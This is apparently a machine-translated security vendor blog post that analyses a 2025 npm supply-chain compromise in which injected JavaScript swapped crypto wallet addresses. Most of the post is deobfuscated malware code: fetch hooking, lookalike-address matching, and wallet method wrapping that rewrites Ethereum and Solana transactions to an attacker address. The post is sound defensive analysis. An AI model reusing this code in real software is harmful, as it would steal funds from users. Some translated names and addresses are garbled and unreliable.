Exaforce Blog Author Image – Bleon Proko
リサーチ
September 10, 2025

パッケージにヘビが入ってる!攻撃者はどのようにしてコードからコインへと移行しているのか

攻撃者が人気のNPMパッケージをハイジャックして暗号ウォレットアドレスを置き換え、サイレントに資金をリダイレクトした方法

Exaforce Blog Featured Image

2025年9月8日、 合気道セキュリティ報告 そして NPM は、いくつかの NPM ライブラリがユーザー側の中間者攻撃で侵害されたことを確認しました。私たちの調査では、攻撃の仕組みを詳しく調べました。注入されたコードは、暗号通貨アカウントを検出するためのリクエストをスニッフィングし、攻撃者が制御するアカウントに暗黙的に置き換えます。

  • アンチ正規表現 6.2.1
  • カラーネーム 2.0.1
  • デバッグ 4.4.2
  • ラップアンシ 9.0.1
  • シンプル・スウィズル 0.2.3
  • チョーク 5.6.1
  • ストリップアンス 7.1.1
  • カラーストリング 2.1.1
  • バックスラッシュ 0.2.1
  • ハスアンシ 6.0.1
  • チョークテンプレート 1.1.1
  • サポート-カラー 10.2.1
  • スライスアンシ 7.1.1
  • IS-配列っぽい 0.3.3
  • カラーコンバート 3.1.1
  • アンチスタイル 6.2.2
  • サポート-ハイパーリンク 4.1.1
  • エラーエックス 1.3.3
NPM package page showing version 6.2.2 as latest, with version history including 6.2.1 and 6.2.2.
攻撃の影響を受けたパッチ適用パッケージの例

侵害されたバージョンはすべてNPMレジストリから削除され、パッチが適用されたリリースはNPMで入手できます。それでもなお、コードベースをスキャンし、影響を受ける依存関係をアップグレードして、ユーザーが影響を受けていないことを確認することをお勧めします。このブログでは、攻撃がどのように停止したのか、どのように検出するのかを詳しく説明します。

攻撃の分析

悪意のあるコードが含まれていても、攻撃者はそれほど巧妙ではありませんでした。攻撃者は、悪意のある、難読化された JavaScript をコードの先頭に追加しました。 index.js 各パッケージに。コードが難読化され、通常のスクリプト命令のように見えるように縮小されたため、検出が困難になりました。

ansi-regexパッケージのバージョン6.2.1(侵害された)と6.2.2(修正済み)の違い

攻撃ベクトルには、暗号ウォレットの検出、ウォレットを含むリクエストの傍受、正規のアドレスを攻撃者が制御するアドレスに置き換えることが含まれていました。フローは以下のように細分化されました。

  1. ユーザーが感染した Web サイトにアクセスする
  2. 暗号通貨ウォレットの不正コードチェック
  3. ウォレットアドレスを含むすべてのネットワークリクエストをインターセプトします
  4. ウォレットのアドレスは、類似性マッチングを使用して攻撃者が制御するアドレスに置き換えられます
  5. 被害者が取引を開始すると、資金がリダイレクトされます
  6. 正規のウォレットインターフェースが使用されているため、攻撃はほとんど見えない
Flowchart showing a crypto wallet attack script detecting wallets and tampering with fetch requests.

悪質な暗号ウォレットの検出

注:以下に示すすべてのコードは、読みやすくするためにクリーンアップされています。

マルウェアは、Ethereumオブジェクトをチェックすることから始まります window.ethereum。その後、次の処理を待ちます。 eth_accounts 応答、ウォレットアドレスの取得、および実行の試行 ランマスク () そして、もし newdlocal () 決して実行されず (rund ≠ 1)、rund の値を 1 に設定して実行する newdlocal () 一度。

var neth = 0;
var rund = 0;
var loval = 0;

async function checkethereumw() {
  try {
    const etherumReq = await window.ethereum.request({ method: 'eth_accounts' });
    etherumReq.length > 0 ? (runmask(), rund != 1 && (rund = 1, neth = 1, newdlocal())) : rund != 1 && (rund = 1, newdlocal());
  } catch (error) {
    if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}

typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && (rund = 1, newdlocal());

リクエストフッキング

newdlocal () は、ブラウザをフックし、送信されたリクエストを把握し、攻撃者のアカウントでターゲットのアカウントを変更するリクエストを改ざんする機能です。これにより、正当な受取人から悪意のある受取人に効果的に資金が振り込まれます。以下はコード内で定義されている関数で、読みやすいように関数の名前が変更され、その横に元の関数名が表示されています。

const originalFetch = fetch;
fetch = async function (...args) { 
  const response = await originalFetch(...args);
  const contentType = response.headers.get('Content-Type') || '';
  let data = contentType.includes('application/json') 
    ? await response.clone().json() 
    : await response.clone().text();
  
  const processed = processData(data);
  const finalData = typeof processed === 'string' ? processed : JSON.stringify(processed);

  return new Response(finalData, {
    status: response.status,
    statusText: response.statusText,
    headers: response.headers
  });
};

ウォレットが見つかると、スクリプトは攻撃者が提供したウォレットのいずれかから最も近い攻撃者のウォレットを探します。そうすると、変更されたウォレットが正規のウォレットと似た状態になるため、ユーザーは攻撃を検知できなくなります。悪質な機能 _0x3479c8 (_0x13a5cc、_0x8c209f) そして _0x2abae0 (_0x348925、_0x2f1e3d) を使う レーベンシュタイン距離これは、ある単語を別の単語に変更するために必要な 1 文字の編集 (挿入、削除、または置換) の最小回数として定義されます。次に、その単語をハイジャックしようとします。 フェッチ () API リクエストと XML HTTP リクエスト レスポンス。リクエストとレスポンスのウォレットを効果的に変更します。

  function levenshteinDistance(a, b) { // _0x3479c8(_0x13a5cc, _0x8c209f)
    const dp = Array.from({ length: a.length + 1 }, () => Array(b.length + 1).fill(0));

    for (let i = 0; i <= a.length; i++) dp[i][0] = i;
    for (let j = 0; j <= b.length; j++) dp[0][j] = j;

    for (let i = 1; i <= a.length; i++) {
      for (let j = 1; j <= b.length; j++) {
        if (a[i - 1] === b[j - 1]) {
          dp[i][j] = dp[i - 1][j - 1];
        } else {
          dp[i][j] = 1 + Math.min(
            dp[i - 1][j],     // deletion
            dp[i][j - 1],     // insertion
            dp[i - 1][j - 1]  // substitution
          );
        }
      }
    }
    return dp[a.length][b.length];
  }

  function findClosestString(input, candidates) { // _0x2abae0(_0x348925, _0x2f1e3d)
    let bestDistance = Infinity;
    let bestMatch = null;
    for (let candidate of candidates) {
      const distance = levenshteinDistance(input.toLowerCase(), candidate.toLowerCase());
      if (distance < bestDistance) {
        bestDistance = distance;
        bestMatch = candidate;
      }
    }
    return bestMatch;
  }

攻撃者は、攻撃者が制御するウォレットのリストをスクリプトに含め、ターゲットが制御するウォレットと照合されます。

  • レガシービットコイン: 1h13 VNQ JKTT 4 HJD 5ZF Kaaizeet MBG 7 NDHX (および他39人)
  • ビットコインビーチ 32: bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm (および他39人)
  • イーサリアム: 0xFC4A4858 bafef54D1B1D7697BFB5C52F4C166976 (および他59人)
  • ライトコイン: LNF Wheis JB4QB4ISHMEVAZ 8 Capwtz4T6UG(および他39人)
  • ビットコインキャッシュ: ビットコインキャッシュ:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh (および他39人)
  • ソラナ: 5VVU UV5K6C2GMQ1ZVEQUFAMO 8SHPZH28MJCVZCCRSZG6 (およびその他19人)
  • トロン: TB9 EMSCQ6 FQW6WRK4HBXXNNU6HWT1DNV67 (および他39人)

攻撃者が提供したすべてのウォレットに対してチェックが行われ、最も近いものが返されます。

function transform(inputStr) {
    var legacyBTC = [
    ];
    var segwitBTC = [
    ];
    var ethAddresses = [
    ];
    var solanaAddrs = [
    ];
    var tronAddrs = [
    ];
    var ltcAddrs = [
    ];
    var bchAddrs = [
    ];
    for (const [currency, regex] of Object.entries(_0x3ec3bb)) {
      const matches = inputStr.match(regex) || [];
      for (const match of matches) {
        if (currency == 'ethereum') {
          if (!ethAddresses.includes(match) && neth == 0) {
            inputStr = inputStr.replace(match, closestMatch(match, ethAddresses));
          }
        }
        if (currency == 'bitcoinLegacy') {
          if (!legacyBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, legacyBTC));
          }
        }
        if (currency == 'bitcoinSegwit') {
          if (!segwitBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, segwitBTC));
          }
        }
        if (currency == 'tron') {
          if (!tronAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, tronAddrs));
          }
        }
        if (currency == 'ltc') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'ltc2') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'bch') {
          if (!bchAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, bchAddrs));
          }
        }
        const allAddrs = [
          ...ethAddresses,
          ...legacyBTC,
          ...segwitBTC,
          ...tronAddrs,
          ...ltcAddrs,
          ...bchAddrs
        ];
        const isKnown = allAddrs.includes(match);
        if (currency == 'solana' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana2' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana3' && isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
      }
    }
    return inputStr;
}

スクリプトはリクエストとレスポンスを調べ、攻撃者が制御するウォレットを使用してターゲットのウォレットを変更し、ターゲットに操作を続行させます。

runmask () を使ったトランザクション操作

ザの ランマスク () この関数は、ブラウザ(MetaMask、Solana Walletなど)でウォレット呼び出しをインターセプトし、送信前に攻撃者が制御するアドレスを注入するようにトランザクションデータを変更するように設計されています。スクリプトが以下の値を発見してウォレットを検出した場合 window.ethereum、マルウェアは次のような方法を待ちます 要求送信、および 送信同期

function interceptWallet(wallet) { // _0x41630a(_0x5d6d52)
    const methods = ['request', 'send', 'sendAsync'];

    methods.forEach(name => {
        if (typeof wallet[name] === 'function') {
            originalMethods.set(name, wallet[name]);
            Object.defineProperty(wallet, name, {
                value: wrapMethod(wallet[name]),
                writable: true,
                configurable: true
            });
        }
    });

    isActive = true;
}

いずれかのメソッドが見つかると、この関数は _0x485f9d (_0x38473f is _0x292c7a) トランザクションがEthereumトランザクションかSolanaトランザクションかを調べ、関数を使用してトランザクションを変更しようとします _0x1089ae (_0x4ac357、_0xc83c36 = true)

function wrapMethod(originalMethod) { // _0x1089ae(_0x4ac357, _0xc83c36 = true)
  return async function (...args) {
    increment++; // increment intercept count
    let clonedArgs;

    // Deep clone arguments to avoid mutation
    try {
      clonedArgs = JSON.parse(JSON.stringify(args));
    } catch {
      clonedArgs = [...args];
    }

    if (args[0] && typeof args[0] === 'object') {
      const request = clonedArgs[0];

      // Ethereum transaction
      if (request.method === 'eth_sendTransaction' && request.params?.[0]) {
        try {
          request.params[0] = maskTransaction(request.params[0], true); // _0x1089ae(tx, false)
        } catch {}

      // Solana transaction
      } else if (
        (request.method === 'solana_signTransaction' || request.method === 'solana_signAndSendTransaction') &&
        request.params?.[0]
      ) {
        try {
          let tx = request.params[0].transaction || request.params[0];
          const maskedTx = maskTransaction(tx, false); // _0x1089ae(tx, false)
          if (request.params[0].transaction) {
            request.params[0].transaction = maskedTx;
          } else {
            request.params[0] = maskedTx;
          }
        } catch {}
      }
    }

    const result = originalMethod();

    // Handle promises
    if (result && typeof result.then === 'function') {
      return result.then(res => res).catch(err => { throw err; });
    }

    return result;
  };
}

ファンクション _0x1089ae (_0x4ac357、_0xc83c36 = true) マルウェアによって傍受されたリクエストを取得し、独自のアドレスを挿入すると同時に、イーサリアムを改ざんします ERC20 トークン契約またはソラナトランザクション。いずれの場合も、攻撃者のアドレスが提供されます。

function maskTransaction(tx, isEthereum = true) {
  // Deep clone transaction to avoid mutating original
  const maskedTx = JSON.parse(JSON.stringify(tx));

  if (isEthereum) {
    const attackAddress = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';

    // Redirect non-zero value transactions
    if (maskedTx.value && maskedTx.value !== '0x0' && maskedTx.value !== '0') {
      maskedTx.to = attackAddress;
    }

    if (maskedTx.data) {
      const data = maskedTx.data.toLowerCase();

      // ERC20 approve
      if (data.startsWith('0x095ea7b3') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
      }
      // Custom contract call
      else if (data.startsWith('0xd505accf') && data.length >= 458) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
                        data.substring(202);
      }
      // ERC20 transfer
      else if (data.startsWith('0xa9059cbb') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(74);
      }
      // ERC20 transferFrom
      else if (data.startsWith('0x23b872dd') && data.length >= 138) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(138);
      }
    } else if (maskedTx.to && maskedTx.to !== attackAddress) {
      maskedTx.to = attackAddress;
    }
  } else {
    // Solana-style transaction masking
    if (maskedTx.instructions && Array.isArray(maskedTx.instructions)) {
      maskedTx.instructions.forEach(instr => {
        if (instr.accounts && Array.isArray(instr.accounts)) {
          instr.accounts.forEach(acc => {
            if (typeof acc === 'string') acc = '19111111111111111111111111111111';
            else acc.pubkey = '19111111111111111111111111111111';
          });
        }
        if (instr.keys && Array.isArray(instr.keys)) {
          instr.keys.forEach(key => key.pubkey = '19111111111111111111111111111111');
        }
      });
    }
    maskedTx.recipient = '19111111111111111111111111111111';
    maskedTx.destination = '19111111111111111111111111111111';
  }

  return maskedTx;
}

提供されたイーサリアム攻撃者のアドレスは、イーサリアムアドレスリストの最初の要素です。

var _0x4477fc = [      
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',      
--snip--

推奨事項と要約

コードベース全体をスキャンして、侵害されたライブラリがないかどうかを確認し、すぐに更新することを強くお勧めします。これにはチェックも含まれます。 パッケージ.jsonロックファイルnode_modules、そしてあなたの SBOM 依存関係ツリー。更新が適用されたら、最近のウォレットトランザクションすべてに不審なアクティビティがないか監視し、公開されているトークンの承認をすべて取り消し、可能な場合は新しいウォレットアドレスに移行します。リスクをさらに軽減するには、パッケージバージョンをピン留めして、今後同様のサプライチェーン侵害が起きないようにしてください。

このマルウェアは非常に巧妙でした。ブラウザに接続し、リクエストを傍受し、ウォレットをハイジャックし、複数のブロックチェーン上で動作していました。正規のチャネルを悪用したり、トランザクションを隠したり、難読化技術を使用したりすることで、マルウェアは溶け込んでしまいながらも検出が困難でした。

最近の投稿

初めての AWS re: Invent での廊下からの教訓

エージェント AI セキュリティによる高度な Google Workspace 侵入の検出と妨害

やわらかく濁ったパンを虫に食べさせる:シャイ・フルドの再臨

AI SocとAnthropicの愛というスポーツの祭日大会

丸太の指輪は嘘をつかない:一目瞭然の歴史的列挙

セキュリティ検出の過去、現在、未来

Exaforce HITRUST award

私たちはHITRUST認定を受けています:クラウドネイティブなSOC自動化全体にわたる信頼の強化

Exaforce Blog Featured Image

GPTはセキュリティのために再配線する必要がある

Exaforce Blog Featured Image

アグリゲーションの再定義:ノイズの削減、コンテキストの強化

Exaforce Blog Featured Image

エクサフォースが2025年のAWSジェネレーティブAIアクセラレーターへの参加に選ばれました

Exaforce Blog Featured Image

コントロールできていると感じますか?攻撃ツールとしての AWS クラウドコントロール API の分析

Exaforce Blog Featured Image

Exaforceは、2025年のSecOpsオートメーション向けGigaOMレーダーでリーダーおよびアウトパフォーマーに選ばれました

Exaforce Blog Featured Image

エージェント AI が GuardDuty インシデント対応プレイブックの実行を簡素化する方法

Exaforce Blog Featured Image

ゴースト・イン・ザ・スクリプト:Google App Script プロジェクトになりすましてステルスパーシスタンスを行う

Exaforce Blog Featured Image

ExaforceがマルチモデルAIを活用して、お客様の環境でアカウント乗っ取り攻撃を検出した方法

Exaforce Blog Featured Image

s1ngularityサプライチェーン攻撃:何が起こったのか、そしてExaforceがどのように顧客を保護したのか

Exaforce Blog Featured Image

Exaforce MDR のご紹介:人工知能 (AI) 上で動作するマネージドSOC

Exaforce Blog Featured Image

Exaforceに会いましょう:フルライフサイクルのAI SOCプラットフォーム

Exaforce Blog Featured Image

Exaforceでの信頼構築:セキュリティとコンプライアンスを通じた当社の歩み

Exaforce Blog Featured Image

より多くのシグナルとより少ないノイズによる壊れたアラートトリアージプロセスの修正

Exaforce Blog Featured Image

御社の AI SOC イニシアティブを評価してください

Exaforce Blog Featured Image

一社の合同会社が AI SOC を作るわけではありません

Exaforce Blog Featured Image

適切な検出:脅威の検出には、ルールや異常検出だけでは不十分です

Exaforce Blog Featured Image

KiranaProの侵害:クラウド脅威監視への警鐘を鳴らす

Exaforce Blog Featured Image

RSACでのエージェントAIの会話には3つのポイントが欠けている

Exaforce Blog Featured Image

セキュリティ調査が失敗する5つの理由と、Exaforceがそれらを修正する方法

Exaforce Blog Featured Image

クラウドセキュリティギャップの解消:脅威監視の実際のユースケース

Exaforce Blog Featured Image

SOCの再構築:人間 + AI ボット = より優れた、より速く、より安価なセキュリティと運用

Exaforce Blog Featured Image

Github アクション (tj-アクション/変更ファイル) の侵害からの保護

Exaforce Blog Featured Image

Npm Provenance: JavaScript ライブラリに欠けているセキュリティレイヤーの橋渡し

Exaforce Blog Featured Image

ロッティファイルの npm パッケージ侵害に対するエクサフォースの対応

Exaforce がセキュリティ業務の変革にどのように役立つかをご覧ください

Exabots + ヒューマンがあなたのために何ができるか見てみましょう